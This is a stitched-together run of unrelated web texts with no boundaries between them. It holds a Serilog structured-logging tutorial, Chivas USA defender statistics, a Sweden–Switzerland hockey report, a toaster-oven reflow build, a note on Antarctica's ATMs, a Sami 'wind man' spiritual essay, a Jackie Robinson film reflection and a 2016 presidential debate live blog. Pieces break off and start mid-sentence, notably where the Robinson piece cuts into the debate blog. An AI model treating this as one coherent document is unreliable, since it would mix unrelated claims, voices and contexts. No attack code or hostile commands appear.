While first part of the logevent, timestamp and level is pretty standard functionality across most logging frameworks, the rest is showing the cleverness of Serilog. What we can see is that it has turned our provided template into a single string to accommodate sinks that only supports that, such as flat-files, trace-output and so we are able to read the output. But it has also used the names that we provided in the template, “user” and “order” and built name-value list that we can later use for querying, business intelligence etc.
When we just provide names like {user} in the template, we instruct Serilog to just call.ToString(). But what we can also do, is to add an @ in front of the name, thereby instructing Serilog to preserve any strucutred of the supplied values, and finally the sinks to store as structured data.
Turning the code from above into this:
logger.Information("User {@user} unable to pay {@order}", currentUser, currentOrder);
Serilog calls this process destructuring, the resulting logevent will look like this:
{ "@timestamp": "2015-03-01T14:12:16.6855736+01:00", "level": "Information", "messageTemplate": "User {@user} unable to pay {@order}", "message": "User User { Id: 2, Name: \"Spock\" } unable to pay Order \ { Id: 7, Amount: 100 }", "fields": { "user": { "_typeTag": "User", "Id": 2, "Name": "Spock" }, "order": { "_typeTag": "Order", "Id": 7, "Amount": 100 } } }
Sinks
Sinks are destinations for logging output and Serilog comes with a few basic ones build in like Console for outputting on the system console, file for outputting to a file. But with separate NuGet packages logging can be done to almost every type of storage.
Also the interface for implementing your own sinks is ridiculously simple:
interface ILogEventSink { void Emit(LogEvent logEvent); }
Configuration
For configuration, Serilog provides a simple fluent interface on top of a configuration object. To get a new logger simply call:
var logger = new LoggerConfiguration().CreateLogger();
This will create a new logger with a null object as the current sink. Great start but not so useful. To start logging to the console simply add:
var logger = new LoggerConfiguration().WriteTo.Trace().CreateLogger();
And my favourite, to log to Elasticsearch, simply install Serilog.Sinks.ElasticSearch and add:
var logger = new LoggerConfiguration().WriteTo.Trace().WriteTo.Elasticsearch(new ElasticsearchSinkOptions(new Uri("http://localhost:9200"))).CreateLogger();
Besides adding sinks, configuration can also be used to control which levels of events goes to each sink and you can even log to separate instances of configured loggers for more fine-grained control.
Enrichment
Serilog also comes with a concept called Enrichers, which is a way to add extra information during logging. Examples could be current logged in user, thread-id or a correlation-id that groups a set of log statements together, eg. a users flow though a website.
Again Serilog comes with a few built in like machine-name and process-id but enrichers are easy to create and there are also various NuGet packages available for further enrichment.
Context
As with other log frameworks, a logger can be supplied with a current context:
logger = logger.ForContext<MyClass>();
Which will add a field SourceContext with the full type as value to the logged output. Now the new logger is created with context from an existing logger. This does not change the original logger, as the logger and its configuration is immutable. This gives us a nice way of passing a logger though the layers of our system and making it more specific.
Unfortunately the filtering and enrichment lives on the configuration and not on the logger, so you have to decide which one you want to pass around.
Another thing I’d like to have seen is that the context was stacked. Currently, adding ForContext replaces the existing SourceContext. A stacked context could have served like a light-weight stack trace for information logging.
Serilog is a great next step if you are either fed up with the complexity of log4net configuration or you already have a document database as part of your infrastructure.
It should be noted here that the structured part of logging isn’t free, remember that Serilog will pull the entire graph from the provided objects. I’ve seen logevents as big as 3 MB – a lot more than the usual few hundred bytes that other log-frameworks would output. But if you’re already in an error situation, those 3 MB will give you a lot of valuable insight into tracking that pesky bug.
I don’t think Serilog is that widely adapted yet. According to Google trends Serilog does not seem so popular. Or maybe its just it’s simplicity that makes you google for it less:
I hope to see more use of Serilog in the future – its structured approach is one thing, but its incredibly simple configuration and usage is a strong selling point to me.It is time to revisit some of the statistics we've been tracking for Chivas USA this season. Today, an update about the impact of defenders to the standings. In light of the 3-2 win yesterday against the New England Revolution, the Goats' defenders who started will get a boost. Zarek Valentin has been leading the way during the first two editions of the rankings - can he stay on top again? Let's find out.
If you want to refresh your memory on the last update, take a look from the rankings from July 19.
Here's the team's performance, to give you a baseline for each defender: 23 matches. Record: 7-8-8; Points: 29; points per game: 1.26
The defenders who performed the best, based on points per start, in descending order:
Zarek Valentin: Started 19 matches. Record: 7-6-6; Points: 27; Points per start: 1.42
Michael Umana: Started 12 matches. Record: 4-4-4; Points: 16; Points per start: 1.33
Andrew Boyens: Started 7 matches. Record: 2-2-3; Points: 9; Points per start: 1.29
Heath Pearce: Started 23 matches. Record: 7-8-8; Points: 29; Points per start: 1.26
Michael Lahoud (as defender): Started 12 matches. Record: 3-3-6; Points: 15; Points per start: 1.25
Ante Jazic: Started 17 matches. Record: 5-7-5; Points: 20; Points per start: 1.18
Jimmy Conrad: Started 2 matches. Record: 0-2-0; Points: 0; Points per start: 0
So Valentin continues atop the rankings for the third straight time. He is a rookie, has made some mistakes, but his impact on the team getting points is pretty significant. Furthermore, he has started nearly every game he's been available for (he missed a couple games early in the season when he was playing with the U-20 U.S. National Team). He has been playing well enough overall, and he is helping to get the job done on a regular basis.
One player moved up significantly from the last update. Michael Umana was 5th out of 7 eligible defenders then, and has shot up to 2nd place behind Valentin. I still don't think he is a reliable starter, but the statistics are showing that he isn't the liability many of us believe him to be at this point. He has also surpassed the player he replaced, Boyens, so maybe Robin Fraser was smarter than the rest of us at this.
Meanwhile, the only regular starters who sit below the team baseline of Pearce are Lahoud and Jazic. That should mean that the stats say they are liabilities, and that at the least Lahoud should start as a full-back ahead of Jazic. But with Fraser tinkering with his formation recently and switching to a 4-1-4-1 for a couple games with Lahoud as a defensive midfielder, his versatility is useful. Perhaps most importantly, Jazic is also the best offensive defender by a long shot, providing 6 assists, which leads the team. Jazic's service has been somewhat surprising, as the six assists are a career high, and nobody would consider him on the field primarily for his offensive prowess, but his offensive contributions mean he ought to stay on the field despite sitting 6th out of 7 defenders in points per start.
All of this makes providing an ideal lineup more difficult than in past posts about this statistic. If we used natural positions, the top four players could make a logical starting backline, with Boyens and Umana in the middle and Pearce on the left and Valentin on the right. But Boyens and Umana combined would be super shaky and Pearce will stay in the middle, perhaps even after David Junior Lopes is eligible to play. As noted above, Jazic is hot right now with assists, and he seems to have made a case to continue as a starting full back. I like Lahoud most of the time as a full back, but he should be the fifth defender and I like him as the defensive midfielder to provide more defensive coverage for the team. However, the issue is that in a 4-1-4-1 the lone striker will not be able to handle playing alone, so it is unclear if Fraser will continue to use that formation or go with a 4-4-2.
What do you think? Who should be starting? Are you surprised by the rankings? Leave a comment below!Published 16.05.2016 00:07 GMT+3 | Author Andy Potts
Sweden's new arrival keeps his nerve in the shootout to see off a determined Switzerland and keep the Tre Kronor in contention for top spot in Moscow.
Sweden kept up the pressure on the Czech Republic at the top of Group A with a shootout victory over Switzerland following a 2-2 tie in Moscow.
Andre Burakovsky, playing his first game of this championship after jetting in from Washington at the weekend, converted two penalty shots to Nino Niederreiter's one, giving the Swedes victory over a dogged Switzerland team and move into second place in the Group A table, two points behind the Czechs.
Sweden's captain, Jimmie Ericsson, paid tribute to his colleague's instant impact - and warned that there was more to come.
"Andre's going to get better every day," he said. "It's great to have him here, coming in and scoring two shootout goals. It's just perfect."
Defeat for the Swiss after leading twice in regulation leaves Patrick Fischer's men tied with Denmark on eight points. Both teams have one further game to play: the Danes face already-relegated Kazakhstan tomorrow evening while Switzerland wraps up its campaign against the table-topping Czechs on Tuesday afternoon.
But Niederreiter took comfort from his team's performance against one of the strongest teams in the group, despite the final scoreline.
"Today we were the better team 5-on-5," the Swiss forward said. "The biggest thing is we have to stay out of the penalty box. We always put ourselves in a tough situation. Tonight, they scored two power-pay goals, and that's all they had."
Denmark's surprise success over the Czechs earlier in the afternoon put extra pressure on Switzerland in the race for fourth place - and some fans from the Alps were seeking divine intervention to help their team's cause. One of them was dressed as the Pope, accompanied by the Vatican's Swiss Guard, adding a splash of colour beind one of the goals.
At times it seemed that Reto Berra might have a guardian angel protecting his net when Sweden twice got the puck past him only to see the goal wiped out by the officials. In the fifth minute Jimmie Ericsson thought he'd opened the scoring when he swatted a high-flying puck through the goalie's legs, only to be pulled up for a high stick.
Then in the second period Oscar Fantenberg fired home from the left-hand circle, but Alexander Wennberg was adjudged to have sinned as he tumbled into Berra moments before the shot came in.
Moments like those characterised a game that was full of endeavour but rarely produced fluent hockey, as Sweden's goalie Markstrom observed.
"Either team could have won. It was a sloppy game," he said. "Missed passes, a lot of whistles, lots of penalties. It wasn't smooth, no rhythm. It was choppy. Either team could have won it."
In between those disallowed goals, Switzerland took a deserved lead late in the first period when Sven Andrighetto got his second of the tournament. The Montreal Canadiens' forward took his chance when Wennberg blocked Jacob Markstrom's view of his shot from the deep slot. Andrighetto had earlier gone close with Sweden's best chance of the opening stages, narrowly failing to turn a Niederreiter pass into the net at the far post.
Sweden came out for the second with greater intensity while Switzerland struggled to maintain its offence as a series of minor penalties disrupted both teams. And after Fantenberg's disallowed effort the Tre Kronor found an equalizer shortly after the midway mark, taking just six seconds to convert a power play.
Johan Sundstrom, the player fouled to set up the advantage, stayed on the ice and reacted first to the rebound from Linus Omark's shot to squeeze the puck through traffic and tie the game.
But indiscipline harmed the Swedes. With the game poised at 1-1 going into the third period, a string of minor penalties against the Tre Kronor left the Scandinavians unable to build up any momentum on offence. And, inevitably, the pressure on the PK eventually told with Denis Hollenstein's power play goal in the 45th minute setting the Swiss on the road to victory.
Hollenstein got the decisive touch on a thunderous slap shot from Eric Blum to beat Markstrom and give Switzerland a 2-1 lead.
However, Sweden's Gustav Nyquist can't keep out of the goals in this competition, and his seventh of the World Championship tied the game. Lurking on the edge of the circle, he stretched out a stick to deflect Adam Larsson's pass into the net and make it 2-2 with 10 minutes left to play.
The Red Wings forward then had a chance to win it as Alexander Wennberg played into another dangerous position only for the shot to fly over the bar. And, when he was fouled by Felicien du Bois to give Sweden a minute of 5-on-3 overtime with just over four minutes left it seemed that the Swiss might roll over at the last.
But Switzerland killed that penalty and, in a frantic finale, almost snatched a last-gasp winner when Yannick Weber tested Markstrom with a shot on the breakaway.
The goalie had the answer to that one, though, taking the game into the extras as Switzerland ended up in overtime for the fourth time in six games.
Back to OverviewWhenever I have a project that I’m working on that involves custom hardware, personal or professional, I have typically assembled PCBs by hand. It takes time, and can be tedious. In low volumes (<5 pcs.) it isn’t too bad. I could send them out to have them populated but this can get expensive, especially for low volumes. If you research reflow ovens or hot air baths, they can be quite costly and I couldn’t justify purchasing one without doing it all the time. But, there are other options.
I had heard about people converting toaster ovens into cheap reflow ovens, so I decided this would be the way to go. I did a bit of research and stumbled upon a few videos showing how it’s done. First from The Ben Heck Show:
That one was a little more complex than I really wanted to get, but the basic principle is the same. I also found the following video from R&TPreppers:
This one was a bit simpler, so I decided to follow it as a baseline for the build. I went ahead and got the RocketScream Reflow Oven Controller Shield, the solid state relay, and various other build materials like the fiberglass weave, pop riveter, hardware etc. (all from McMaster Carr.) I already had a thermocouple that I was planning on using in a temperature controller for my smoker. It turns out that the one I had was actually problematic, but more on that later. I eventually got one from Adafruit.
I also purchased the toaster oven from Amazon. I’m not sure why the price has gone up so much since, but I bought it at $28.00. It’s a fairly cheap one with quartz elements. Below are a few photos of its unboxing.
Getting everything together, I would try to emulate the R&T build as much as I could. I knew I didn’t want the electronics inside the enclosure because I didn’t want to deal with cutting display holes in the front panel. I decided to mount the electronics on the outside of the unit, with the understanding that I would need to protect the live terminals on the SSR. I have yet to do that, but I could easily make a plastic guard or something similar. For now I just leave it unplugged when I’m not using it.
The RocketScream Shield required adding headers, as a lot of shields do. I ordered the headers from Mouser in the correct pin count. I always hated cutting the breakaway headers – they end up not cutting very well.
Next I gutted the oven. B&D used anti-tamper torx screws on the bottom of the case. I have torx, just not the ones with the pin hole in the middle. Nothing a pair of pliers can’t remedy. I’ve already voided this warranty so I don’t particularly care at this point.
Once I had the oven dismantled, the next step was to test the shield. I snagged the MAX31855 library, the PID library, and once I loaded up the example sketch from the repo provided by RocketScream, the thermocouple registered the correct temp on the display. I first had it hooked up in reverse and heating it up caused the reading to decrease. This would have been very bad in the oven, causing it to just continue heating.
Then I made patterns on the outside of the case for the Arduino and SSR hole patterns and drilled some holes in the enclosure. I also added a hole for a grommet, to safely guide the wiring in and out of the unit.
I made an internal hole for mounting the original thermocouple, which was threaded with a nut. I wasn’t sure how it would perform compared to the example projects I’ve seen from others. What I found was that because the shell of the thermocouple is electrically connected to the case, when I first tested the unit – the SSR switching on and off caused a lot of noise in the thermocouple measurement. The conclusion was that one side of the thermocouple must be electrically connected to the shell. Testing with a DMM confirmed this. Rather than trying to make this one work, I just got the glass-bead type and shoved it through the hole I already made.
Next I installed a fiberglass blanket on the inside around the perimeter of the heating case. I bought a riveter to do this, and I don’t know why I never had one before – it’s an awesome tool. I’ve used them in the past but forgot how useful they are. Rivets are cheap. The tool was a little pricey but I feel like I’ll use it a lot. I had to cut holes in the fiberglass to accommodate the components and wiring, which was really easy because of the nature of the fiberglass weave. I riveted it in four spots on each side, and it stayed pretty snug.
Next came the wiring. The elements are in parallel, and I had to make a couple patch wires, but I ended up using just wire nuts for the connections (with the exception of one which I soldered.) I included the original light from the front panel in the wiring because – why not? The thermocouple leads and the broken hot side were fished through the grommet on the outside, where I connected them to the shield and SSR, respectively. I made a short jumper from the shield to the SSR and the wiring was done.
I only had an external DC wall-wart for the Arduino power, which I just plugged in separately.
Finally, I tested it. After replacing the thermocouple it ran great! The Arduino will output data points as it’s running, but I haven’t looked at the curve data yet. Watching it, however, the temp ramp and values seemed to be correct. The cool-down period does take a while, and I have heard of others opening the door at a specific point in the cycle to better mimic the JEDEC curve.
I have already done a single board for the Wireless RH/Temp Sensors in this oven that I will post about later. For now there are some changes that I will probably make to the system including:
Putting aluminum foil on the inside of the door with a viewing slit, to retain the heat better.
Making a guard for the SSR to prevent anyone from getting shocked.
Installing a dedicated DC supply in the unit for the Arduino.<img class="styles__noscript__2rw2y" src="https://dsx.weather.com//util/image/w/AntarcticaATM.jpg?v=at&w=485&h=273&api=7db9fe61-7414-47b5-9871-e17d87b8b6a0" srcset="https://dsx.weather.com//util/image/w/AntarcticaATM.jpg?v=at&w=485&h=273&api=7db9fe61-7414-47b5-9871-e17d87b8b6a0 400w, https://dsx.weather.com//util/image/w/AntarcticaATM.jpg?v=ap&w=980&h=551&api=7db9fe61-7414-47b5-9871-e17d87b8b6a0 800w" > Photo Credit: Wells Fargo
In a place where the average daily temperature each year is 1.58 degrees Fahrenheit, you’ll find the prestigious McMurdo Station, AND... wait for it … the world’s loneliest automatic teller machines.
McMurdo Station, a U.S. Antarctic research station established in 1956, is the largest community in Antarctica, NASA says. And to keep up with its 250 to 1,000 residents’ monetary needs, Wells Fargo established the ATM around 2000.
“Our ATMs at McMurdo Station are the southernmost ATMs in the world, according to the Guinness Book of World Records,” Wells Fargo said. “In fact, they’re the only ones on the entire continent of Antarctica — kind of cool to say that.”
(PHOTOS: 15 Weird Hotels Around the World )
David Parker, vice president of ATM Banking at Wells Fargo, told ATM Marketplace the money circulated by the ATMs is constantly recycled so there is no need for cash vendors to replenish the supply.
In an interview with needcoffee.com, Parker said a technician is dispatched to perform preventative hardware maintenance on the ATM once every two years.
And although there are two ATMs, only one is in use at a time. Parker explained the logic saying, “The other is one that they can sort of cannibalize, if you will, for parts or spare things that they need to make the other one live and operational.”
The ATMs are a staple in the thriving scientific community and remain a fascinating concept today.
MORE ON WEATHER.COM: Antarctica Glacial Melt(The Wind Man) Lapp – Samek
When darkness accompanied by subfreezing temperatures prevail, and an arctic wind howls ferociously at the door of your sod hut, it is essential to be in harmony with nature if you wish to survive.
Nature determines the flow of time; the slightest changes in the spring-winter air compel the reindeer herds to migrate to the calving grounds before the terrain melts into slush. According to the history recorded on the drums of the nomadic Lapps, this was also a fall stopping point as they journeyed inland from Atlantic Coast where they spent their summers fishing.
A central figure on every drum was Biegolmai. In Scandinavian mythology Biegolmai held the winds captive in a subterranean cavern. He is pictured with a shovel in his right hand used for scooping the winds into the cave. With his left hand he uses a club to drive them out again to enliven and freshen the breath of the land. To calm a storm the shamans would offer up a shovel to appease this fierce god.
When Biegolmai uses his shovel to release the wind from below the snow, it is time to deepen and enhance your relationship with magic and the natural rhythms of your own life, the soul of your surroundings and the cycles of nature.
East
The Lapps followed an East to West migration. When Biegolmai blows in from the east with a stinging cold blast, your forward movement comes to an abrupt halt. Biegolmai asks you to carefully observe the subtle signs of nature, and wait for the perfect moment to act.
Examine your beliefs regarding your concept of time. Are you in harmony with the seasons/cycles of your life? Are you in harmony with your natural surroundings, or is your day scheduled weeks in advance, with little regard for daylight? Does your cellphone determine where you go and how you live your life?
Pause. Turn off all electronic devices, and align yourself with the winds of change that are swirling around you. Take a moment to listen to the story of your life, which is reflected in the natural world in which you live. Wake up with the sun goddess, thank the man in the moon, listen to the birds, feel the wind, watch and listen for a signal from nature before proceeding.
Whenever reindeer encounter a headwind they change direction. Click To Tweet If Biegolmai appears in your spread in the reverse position, it is a signal that you need to be alert and pay attention lest you miss a great opportunity. Become a wise spiritual tracker and follow the reindeer.
South
The arrival of Biegolmai as a fresh, costal summer wind means that now is a good time to pray and get your emotional house in order. Use the penetrating light of the midnight sun to cast a shadow so you can examine your shortcomings.
A sieidi is a sacred Sami space used for personal ritual, a place where it is possible to communicate with the spirits. Create or renew your altar (siedi); power builds when we return again and again to a Bieg-olmai place of prayer. Create a ritual to deepen your relationship with your inner emotional winds. Call up Biegolmai to help you harmonize your relationships with others. Make a power drum and paint it with your personal symbols. The reindeer skinned drums were used to record personal and community history. The precise placement of symbols on the drums told individual stories, and described the cosmology of the nomadic tribes. The paintings varied with each location and family, but common elements included a central sun separating a horizontal division for the summer and winter camps, plus three vertical levels of experience; sky, terrestrial atmosphere, and underworld[2]
When the wind man ceases to blow in your emotional life, it means that you are not paying attention to the signs in your life. You have lost your bearings and need to recalibrate your inner compass. To answer questions the Lapp would place a copper ring on the membrane of the drum. Using a reindeer horn beater they would strike the drum, and when the ring came to a natural resting point they would have an answer. Look for reoccurring patterns in your life, and you will find the answer your questions.
West
The Sami (Noaidi shaman) believed that people have two souls, an animated soul and a “free soul.” Using a specialized drum to help them gain access to other realms through trance states, Shamans used free soul for ethereal travel, which allowed them to communicate with invisible spirits. The Noaids were the intermediaries of the Gods; usually called upon during periods of famine, sickness or while hunting. Access your inner shaman by entering a trance through meditation, dance, or by drumming. Ask the spirits to help you to harmonize with the elements in your surroundings.
Are you feeling wind slapped? The Sami were necromancer, using their skill to harness the wind into knots for sailors. Adjust your wind knots (see chapter 6.) Biegolmai might blow in as a harsh wind or an early frost if you’re not paying close attention to your family and community. A home is a place with a central kitchen where friends and family gather to share food drum, and sing. Open your heart; call upon the local winds to remove any negativity or blocked energy from your home or office, and bring harmony into your personal relationships. Spending time with children will help you remember and appreciate the importance of storytelling and the value of simplicity.
North
As a persistent north wind, Biegolmai beckons you to pause in the darkness, and get centered, so that you can reconnect with nature, and discover your essential self. Ask a question, and then use your drum to take an inward journey and climb up the mountain to the precipice of your rich spiritual center. Become like a Sami observer who can perceives the age and intrinsic quality of snow. Deconstruct your spiritual beliefs according to color, size, temperament, texture and age. Alignment with your natural world is necessary if you wish to properly read and interpret the signals in your life.
Biegolmai, the wind man, will capsize your boat when community values are neglected and replaced by self-serving dogma. Enter the dark cave where the winds are stored and you shall find the truth. Make a sacrifice and reconnect with your spiritual self. Inspiration will rise like a glorious late spring sun, growing ever brighter as you serve the needs of spirit and strengthen your bonds with family, groups and community.
Join the Wind Believers group on FB here.
[1] “The Great Ocean of Knowledge”: The Influence of Travel Literature on the Work of John Locke. Ann Talbot BRILL, Jan 1, 2010. Accessed on the web. November 1, 2015 https://books.google.com/books?id=PV36wdwmU24C&pg=PA62&lpg=PA62&dq=sailors+buying+wind+knots+for+wind+witches&source=bl&ots=vhQgQYBlxi&sig=1C1wOtMPtRYo09W0jkWZPuLYIbE&hl=en&sa=X&ved=0CDsQ6AEwB2oVChMItYG82NLvyAIVUfJjCh2J6QYS#v=onepage&q=wind&f=false
[2] C. Nooteboom, Sketch of the former religious concepts of the Asele Lapps (the southern Lapps) In: Bijdragen tot de Taal-, Land- en Volkenkunde 117 (1961), no: 1, Leiden, 118-140. Accessed from http://booksandjournals.brillonline.com
Share +1 Pin 411 SharesI love baseball. There is nothing better than playing ball with my kids or watching the Giants on TV with them. I love hearing my boy say that he just “crushed the ball like Buster Posey.”
Growing up I spent hours in my front driveway playing baseball with my friends. We had some cardboard set up for the strike zone and we would pitch to each other for hours. We lost tons of tennis balls in the neighbor’s yard. Dings in the next-door neighbor’s car were a given. We had our own rules: if you hit the house across the street on the fly, it was triple; if it landed on the roof, a homerun; etc.
When I was even younger, my father purchased the Value Tales books for my brother and me. They taught values through stories of great people who made a difference. My favorite by far was The Value of Courage: The Story of Jackie Robinson. It told the story of the first black man to play professional baseball (or any professional sport for that matter). I read that book all the time. In my mind Jackie was the best, fastest player in the world. I couldn’t understand why people would hate him because he was black. As a child I just couldn’t understand racism. I couldn’t understand how people could be so mean to such a good man.
Now that you know how much I love baseball, you might appreciate just how excited I was a few months ago when I found out that a movie portraying Jackie’s trials as a baseball player was going to be released. Needless to say, I watched it as soon as I had the chance. I was blown away. If you haven’t seen it, go. Now. There is something about Jackie’s story that just speaks to my soul.
While there is no way I can do the emotional force of this movie justice by explaining it in this post, I want to share a few of the many moments in the movie when great people stood out. Let’s start with Pee Wee Reese, Jackie’s all-star teammate at shortstop. The Dodgers (Jackie’s team) were heading to Cincinnati for a big series with the Reds. Because Pee Wee was from Kentucky, he was sure to have a lot of his family and friends at the game watching. Before the trip, Pee Wee got a threatening letter due to his association with Jackie on the field. He took the letter to the Dodgers’ owner, Branch Rickey. Upon seeing the letter, Branch showed Pee Wee the piles of letters that Jackie got threatening his life and that of his family to show Reese what Jackie faced everyday. Pee Wee left Branch’s office with a greater respect for Jackie.
Shift to one of the games in Cincinnati. A young boy and his father were sitting in the stands. The boy was ecstatic to see his hero Pee Wee Reese play and asked his dad how many runs he thought Pee Wee would score. Then Jackie came out of the dugout for pre-game warm ups. He was instantly met with boos and tons of racial slurs. The father of the boy began to hurl racial slurs at Jackie as well. The camera caught the boy looking very confused. Why is my dad booing? This is our team, so why is he booing? Finally the boy joined in to hurl racial slurs with his father. Heartbreaking. Amidst the booing, Pee Wee headed over to first base where Jackie was playing and started making small talk with him. Before long he had his arm around Jackie as he explained that his family and friends were in the stands. He told Jackie that he wanted his friends and family and the whole world to know with whom he stood and who he considered to be his friend. It was a powerful moment. Before he left to take his position, Pee Wee said to Jackie, “Maybe tomorrow, we’ll all wear 42, so nobody could tell us apart.” The boy that had booed was not booing anymore. He learned a better lesson. Pee Wee took a stand.
Another great moment occurred when Jackie was intentionally spiked at first base. After the doctor sewed him up, Branch Rickey stepped into the training room to see how he was doing. |
Sept. 11, 2002, when he was asked whether he supported a potential Iraq invasion in an interview with radio host Howard Stern.
"Yeah, I guess so," he said. His first public comments strongly opposing the war came in 2004.
Trump's opponent, Hillary Clinton, voted in favor of the invasion in 2002 while she was a New York senator. It's a vote she has said was a mistake.
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9:53 p.m.
Donald Trump says a U.S. Army captain killed in Iraq in 2004 would still be alive if he had been president at the time.
Trump is talking about Captain Humayun Khan, whose Pakistan-born father gave an impassioned speech at the Democratic National Convention in July. Trump then got into a feud with Khan's parents.
Trump now says Captain Khan is an "American hero" and "he would be alive today if I had been president."
Trump's feud with the Khan family led to harsh criticism from veterans across the country and families of those killed in action.
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9:52 p.m.
Donald Trump says the United States is allowing refugees from Syria and the Middle East to pour into America and "we have no idea who they are" or where exactly they are coming from.
Asked about bans and strict limits on Muslim immigrants into the United States that he's supported in the past, Trump says it was a policy plan that would grow out of "extreme vetting" of people coming to the U.S. from global conflict areas.
Trump calls allowing immigrants into the country without more scrutiny the "Greatest Trojan Horse of all time" and says it has to stop because "we have enough problems in our country."
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9:51 p.m.
Hillary Clinton says she'll screen Syrian refugees but the country needs to take in more.
Clinton says a proposal like Donald Trump's to ban all Muslims from entering the country plays into the hands of terrorists. She also says Trump has alienated the country's Muslim allies.
Clinton says "we will have vetting and it will be as tough as it needs to be." But she is evoking the image of a bloodied 4-year-old Syrian boy to argue the United States needs to do its share.
___
9:50 p.m.
Donald Trump isn't answering a question about how to stop Islamophobia in America. Instead, he's saying American Muslims must report other Muslims who are engaging in dangerous behavior.
He's repeating the false claim that neighbors of the San Bernardino shooters saw bombs all over the floor in the shooters' home but did not report it.
Clinton, meanwhile, is condemning "dark and divisive" things said about Muslims. She says the United States is not at war with Islam and says Muslims should feel welcome and included in society.
___
9:45 p.m.
Hillary Clinton and Donald Trump are clashing over the future of President Barack Obama's signature health care law.
Clinton is vowing to fix the Affordable Care Act and Trump is promising to repeal and replace "Obamacare."
Clinton says 20 million more people have health coverage because of the law. She says she wants to "save what works," but the next administration will need to get costs down and provide more help to small businesses. She says if the system is repealed it will be "turned back" to the insurance industry.
Trump says the system is a "disaster" and "will never work." He says it needs to be replaced with a less expensive system that's more flexible for patients regardless of what state they live in.
___
9:40 p.m.
Donald Trump is repeatedly interrupting Hillary Clinton and talking over the debate moderators. He also accuses the two moderators of siding with Clinton and refusing to let him answer questions.
The interruptions prompted Clinton to exclaim, "I know that you're into big diversions tonight."
Trump seems sensitive to his interactions with Clinton. When the moderators asked a question and it was unclear whose turn it was to answer first, Clinton said, "Go ahead, Donald."
Trump replied, "No, I'm a gentleman, Hillary, go ahead." Some in the audience laughed.
___
9:38 p.m.
Hillary Clinton and Donald Trump are clashing over her use of a private email server while she was secretary of state.
Clinton says she was "very sorry" for using the server, but she takes keeping classified information secret very seriously. She adds there's been no evidence her actions led to classified materials winding up in the wrong hands.
Trump is accusing Clinton of lying, and says she improperly destroyed more than 30,000 emails that he says should have been turned over to law enforcement authorities. Trump says he was disappointed that Clinton had not been criminally charged.
He tells Clinton, "Again, you should be ashamed of yourself." He is also complaining that the two debate moderators are not sufficiently pressing Clinton on the email issue.
___
9:35 p.m.
Donald Trump is sniffling again.
The Republican nominee is noticeably inhaling deeply through his nose in the early part of the debate.
Trump's heavy inhalations became a hot topic in the previous debate, 13 days ago in Hempstead, New York.
When asked about it the next morning, Trump denied he'd been sniffling. "No, no sniffles," he said on "Fox & Friends." ''No sniffles, no cold."
___
9:33 p.m.
Donald Trump is turning Hillary Clinton's demand for an apology back onto her, accusing her of stealing the Democratic nomination.
Trump says Clinton unfairly won her party's nod by cheating rival Bernie Sanders.
About Sanders, who eventually endorsed Clinton, Trump says, "I was so surprised to see him sign on with the devil."
Trump went on to repeat debunked claims that Clinton started rumors that President Barack Obama was not born in the United States. Trump has fomented the conspiracy for years — until last month, when he declared Obama, who was born in Hawaii, an American citizen.
The long list of accusations was his response to Clinton's claim that Trump owes an apology to the many people and groups he has publicly quarreled with during his presidential campaign.
___
9:30 p.m.
Hillary Clinton is ignoring Donald Trump's statements about her husband's sexual past.
Trump referenced Bill Clinton's 1998 impeachment, which followed an affair in the Oval Office and several other scenarios. Hillary Clinton responded by quoting Michelle Obama's speech at the Democratic National Convention: "When they go low, we go high."
Hillary Clinton then said Trump owes the nation an apology for the way he's conducted his campaign.
___
9:25 p.m.
Donald Trump is raising accusations of sexual misconduct by Bill Clinton, saying the former president "was abusive to women" and saying Hillary Clinton attacked the accusers "viciously."
Trump is also noting that Hillary Clinton was a court-appointed defender for a man accused of assaulting a 12-year-old who was raped in Arkansas and says she laughed at some point while discussing it.
He also says Bill Clinton paid a monetary settlement to Paula Jones, a former Arkansas state worker who alleged in 1991 that Bill Clinton propositioned and exposed himself to her.
Trump says video where he made crude comments to women "it's just words, folks." He says Hillary Clinton's defense of her husband is "disgraceful and I think she should be ashamed of herself."
___
9:20 p.m.
Hillary Clinton says the Donald Trump heard on an 11-year-old recording making crude and vulgar remarks about women "is who Donald Trump is."
Clinton addressed Trump's predatory comments in the opening minutes of the second presidential debate Sunday.
Clinton says the tape shows what Trump "thinks about women, what he does to women."
She says that while Trump has claimed the tape doesn't represent who he is, "It's clear to anyone who heard it, it represents exactly who he is."
Clinton says Trump has insulted not only women, but African-Americans, immigrants, people with disabilities, prisoners of war and others.
___
9:15 p.m.
Donald Trump denies he was discussing sexual assault in a 2005 recording that reveals him saying he can "do anything" with women because he is famous.
He says he has never kissed or groped women without consent. And he's continuing to characterize the recording as "locker room talk."
Debate moderator Anderson Cooper put it more bluntly, saying, "That is sexual assault."
Trump responded: "No, I didn't say that at all. I don't think you understand what I said."
Trump continually tried to pivot to foreign policy, seemingly suggesting his comments pale in comparison to the actions of the Islamic State.
___
9:12 p.m.
Trump did not, at first use, the opening question about setting an example for children to apologize for the vulgar comments he made about women in 2005 that were taped and recently released. Instead he attempted to echo Clinton's remarks.
"I agree with everything that she said," Trump said. "I began this campaign because I was so tired of seeing such foolish things happen to our country. This is a great country, this is a great land."
___
9:10 p.m.
Hillary Clinton says at the start of the second presidential debate that the campaign needs to set an example to children that our country great "because we're good."
Clinton was asked by a teacher if she thought the campaign was modeling "appropriate and positive" behavior.
Clinton says the country needs to set big goals and work together to try to achieve them. She made no mention of Trump's vulgar comments in a 2005 tape that emerged Friday.
___
9:05 p.m.
Hillary Clinton and Donald Trump refused to shake hands as they entered the debate hall in St. Louis. That's a break from traditional debate decorum.
The town hall-style event is expected to be tense. Shortly before it began, Trump held a press conference with three women who had accused President Bill Clinton of sexual wrongdoing and Hillary Clinton of acting vindictively toward them. Trump also introduced a woman who as a 12-year-old had accused a man of rape; Hillary Clinton as a young lawyer defended that man.
Those four women are seated with the Trump family in the front row of the audience of the debate hall.
Bill Clinton shook hands with Trump's wife, Melania Trump, his two sons and daughter Ivanka as they entered the hall before the debate.
___
8:50 p.m.
The fireworks at the second presidential debate exploded even before the candidates took the stage.
Donald Trump unexpectedly appeared live on his Facebook page with women who have accused former President Bill Clinton of rape and unwanted advances. They didn't take questions but repeated some of the claims they made against Clinton years ago.
The women are expected to attend the debate as guests of Trump.
Hillary Clinton's campaign responded by calling it a "stunt" that wouldn't alter Clinton's plans to speak directly to voters in the debate.
The stunning moment raised further questions about how directly Trump plans to go after Bill Clinton in the debate.
___
8:45 p.m.
The second presidential debate is shaping up as potentially Donald Trump's final opportunity to keep his campaign from collapsing a month before Election Day.
